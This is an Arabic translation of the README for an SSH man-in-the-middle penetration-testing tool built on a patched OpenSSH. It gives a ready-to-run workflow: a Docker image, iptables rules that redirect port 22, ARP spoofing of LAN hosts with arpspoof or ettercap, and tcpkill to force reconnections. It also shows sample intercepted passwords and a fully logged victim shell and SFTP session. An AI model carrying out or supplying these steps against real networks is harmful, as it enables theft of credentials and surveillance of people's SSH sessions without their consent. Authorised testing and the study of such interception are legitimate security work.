
أداة هجوم الوسيط (MITM) لبروتوكول SSH
المؤلف: Joe Testa (@therealjoetesta)
تتيح أداة اختبار الاختراق هذه للمدقق اعتراض اتصالات SSH. يتم تطبيق تصحيح على كود مصدر OpenSSH v7.5p1 يجعله يعمل كخادم وكيل بين الضحية وخادم SSH المقصود؛ يتم تسجيل جميع كلمات المرور والجلسات النصية العادية على القرص.
بطبيعة الحال، سيشكو عميل SSH الخاص بالضحية من أن مفتاح الخادم قد تغير. ولكن لأن 99.99999٪ من الوقت يكون ذلك بسبب إجراء شرعي (إعادة تثبيت نظام التشغيل، تغيير التكوين، إلخ)، فإن العديد/معظم المستخدمين سيتجاهلون التحذير ويكملون.
ملاحظة: قم بتشغيل sshd_mitm المعدّل فقط في VM أو حاوية! تم إجراء تعديلات مخصصة على مصادر OpenSSH في مناطق حرجة، دون أي اعتبار لآثارها الأمنية. ليس من الصعب تخيل أن هذه التعديلات تُدخل ثغرات أمنية خطيرة.
أسرع وأسهل طريقة للبدء هي استخدام صورة Docker مع SSH MITM المُعدّة مسبقًا.
1.) احصل على الصورة من Dockerhub باستخدام:
$ docker pull positronsecurity/ssh-mitm
2.) بعد ذلك، قم بتشغيل الحاوية باستخدام:
$ mkdir -p ${PWD}/ssh_mitm_logs && docker run --network=host -it --rm -v ${PWD}/ssh_mitm_logs:/home/ssh-mitm/log positronsecurity/ssh-mitm
3.) قم بتمكين إعادة توجيه IP ومسارات NAT على جهاز المضيف الخاص بك:
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -P FORWARD ACCEPT
# iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
# iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
4.) ابحث عن الأهداف على الشبكة المحلية، وقم بانتحال ARP لهم (انظر أدناه).
5.) سيتم تسجيل جلسات Shell و SFTP في دليل ssh_mitm_logs.
كجذر، قم بتشغيل البرنامج النصي install.sh. سيؤدي ذلك إلى تثبيت المتطلبات الأساسية من المستودعات، وتنزيل أرشيف OpenSSH، والتحقق من توقيعه، وتجميعه، وتهيئة بيئة غير مميزة للتنفيذ داخلها.
يجعل برنامج JoesAwesomeSSHMITMVictimFinder.py العثور على الأهداف على الشبكة المحلية أمرًا سهلاً للغاية. سيقوم بانتحال ARP لمجموعة من عناوين IP والتقاط حركة مرور SSH لفترة قصيرة قبل الانتقال إلى المجموعة التالية. يتم الإبلاغ عن أي اتصالات SSH جارية تنشأ من أجهزة على الشبكة المحلية.
افتراضيًا، سيقوم JoesAwesomeSSHMITMVictimFinder.py بانتحال ARP والتقاط 5 عناوين IP فقط في المرة الواحدة لمدة 20 ثانية قبل الانتقال إلى المجموعة التالية المكونة من 5. يمكن ضبط هذه المعاملات، على الرغم من وجود مفاضلة: كلما زاد عدد عناوين IP التي يتم انتحالها في المرة الواحدة، زادت فرصة التقاط اتصال SSH جارٍ، ولكن أيضًا زاد الضغط على واجهة الشبكة الضعيفة لديك. تحت الحمل العالي جدًا، ستبدأ واجهتك في إسقاط الإطارات، مما يتسبب في رفض الخدمة ويثير الشكوك بشكل كبير (هذا سيء). لا ينبغي أن تسبب الإعدادات الافتراضية مشاكل في معظم الحالات، على الرغم من أن العثور على الأهداف سيستغرق وقتًا أطول. يمكن زيادة حجم المجموعة بأمان على الشبكات منخفضة الاستخدام.
مثال:
# ./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53
Found local address 10.11.12.141 and adding to ignore list.
Using network CIDR 10.11.12.141/24.
Found default gateway: 10.11.12.1
IP blocks of size 5 will be spoofed for 20 seconds each.
The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141
العملاء المحليون:
* 10.11.12.70 -> 174.129.77.155:22
* 10.11.12.43 -> 10.11.99.2:22
يُظهر الإخراج أعلاه أن جهازين على الشبكة المحلية قاما بإنشاء اتصالات SSH (10.11.12.43 و 10.11.12.70)؛ يمكن استهداف هذين الجهازين لهجوم رجل في المنتصف. لاحظ، مع ذلك، أنه من أجل اعتراض بيانات الاعتماد المحتملة، يجب عليك الانتظار حتى يبدؤوا اتصالات جديدة. قد يختار مختبرو الاختراق غير الصابرين إغلاق جلسات SSH الحالية بالقوة (باستخدام أداة tcpkill)، مما يدفع العملاء إلى إنشاء اتصالات جديدة على الفور...
1.) بمجرد الانتهاء من الإعداد الأولي والعثور على قائمة بالضحايا المحتملين (انظر أعلاه)، قم بتشغيل start.sh كجذر. سيؤدي ذلك إلى بدء sshd_mitm، وتمكين إعادة توجيه IP، وإعداد اعتراض حزم SSH عبر iptables.
2.) قم بانتحال ARP للهدف (الأهداف) (نصيحة مهمة: لا تقم بانتحال كل شيء! من المحتمل ألا تستطيع واجهة الشبكة الضعيفة لديك التعامل مع حركة مرور الشبكة بأكملها مرة واحدة. فقط قم بانتحال عنواني IP في المرة الواحدة):
arpspoof -r -t 192.168.x.1 192.168.x.5
بدلاً من ذلك، يمكنك استخدام أداة ettercap:
ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//
3.) راقب auth.log. ستظهر هنا كلمات المرور المعترضة:
sudo tail -f /var/log/auth.log
4.) بمجرد إنشاء الجلسة، يمكن العثور على سجل كامل لجميع المدخلات والمخرجات في /home/ssh-mitm/. يتم تسجيل جلسات SSH كـ shell_session_*.txt، وجلسات SFTP كـ sftp_session_*.html (مع تخزين الملفات المنقولة في دليل مقابل).
عند النجاح، سيحتوي /var/log/auth.log على سطور تسجل كلمة المرور، مثل هذا:
Sep 11 19:28:14 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]
علاوة على ذلك، يتم تسجيل جلسة SSH الكاملة للضحية:
# cat /home/ssh-mitm/shell_session_0.txt
Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
Last login: Thu Aug 31 17:42:38 2017
OpenBSD 6.1 (GENERIC.MP) #21: Wed Aug 30 08:21:38 CEST 2017
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
jdog@jefferson ~ $ ppss
PID TT STAT TIME COMMAND
59264 p0 Ss 0:00.02 -bash (bash)
52132 p0 R+p 0:00.00 ps
jdog@jefferson ~ $ iidd
uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)
jdog@jefferson ~ $ sssshh jjtteessttaa@@mmaaggiiccbbooxx
jtesta@magicbox's password: ROFLC0PTER!!1juan
لاحظ أن الأحرف في أوامر المستخدم تظهر مرتين في الملف لأنه يتم تسجيل الإدخال من المستخدم، بالإضافة إلى إخراج الصدفة (الذي يعيد الأحرف). لاحظ أنه عندما تقوم برامج مثل sudo و ssh بتعطيل الصدى مؤقتًا لقراءة كلمة المرور، لا يتم تسجيل الأحرف المكررة.
يتم أيضًا التقاط جميع أنشطة SFTP. استخدم متصفحًا لعرض sftp_session_0.html. يحتوي على سجل للأوامر، مع روابط للملفات التي تم رفعها وتنزيلها:
# cat /home/ssh-mitm/sftp_session_0.txt
<html><pre>Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
> realpath "." (Result: /home/jdog)
> realpath "/home/jdog/." (Result: /home/jdog)
> ls /home/jdog
drwxr-xr-x 4 jdog jdog 4096 Sep 11 16:12 .
drwxr-xr-x 4 root root 4096 Sep 6 11:53 ..
-rw-r--r-- 1 jdog jdog 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 jdog jdog 220 Aug 31 2015 .bash_logout
drwx------ 2 jdog jdog 4096 Sep 6 11:54 .cache
-rw-r--r-- 1 jdog jdog 655 May 16 08:49 .profile
drwx------ 2 jdog jdog 4096 Sep 8 16:59 .ssh
-rw-rw-r-- 1 jdog jdog 5242880 Sep 8 15:52 file
-rw-rw-r-- 1 jdog jdog 43131 Sep 10 10:47 file2
-rw-rw-r-- 1 jdog jdog 83 Sep 6 12:56 file3
-rw-rw-r-- 1 jdog jdog 3048960 Sep 11 13:51 file4
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> put <a href="sftp_session_0/file5">/home/jdog/file5</a>
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> stat "/home/jdog/file5" (Result: flags: 15; size: 854072; uid: 1001; gid: 1001; perm: 0100664, atime: 1505172831, mtime: 1505172831)
> setstat "/home/jdog/file5" (Result: flags: 4; size: 0; uid: 0; gid: 0; perm: 0100700, atime: 0, mtime: 0)
</pre></html>
في lol.h يوجد تعريفان: DEBUG_HOST و DEBUG_PORT. قم بتمكينهما واضبط اسم المضيف على خادم اختبار. الآن يمكنك الاتصال بـ sshd_mitm مباشرة دون استخدام انتحال ARP لاختبار تغييراتك، على سبيل المثال:
ssh -p 2222 valid_user_on_debug_host@localhost
لاختبار التغييرات على كود مصدر OpenSSH، استخدم البرنامج النصي dev/redeploy.sh.
لعرض فرق التغييرات غير الملتزمة، استخدم البرنامج النصي dev/make_diff_of_uncommitted_changes.sh.
لإعادة إنشاء تصحيح كامل لمصادر OpenSSH، استخدم البرنامج النصي dev/regenerate_patch.sh.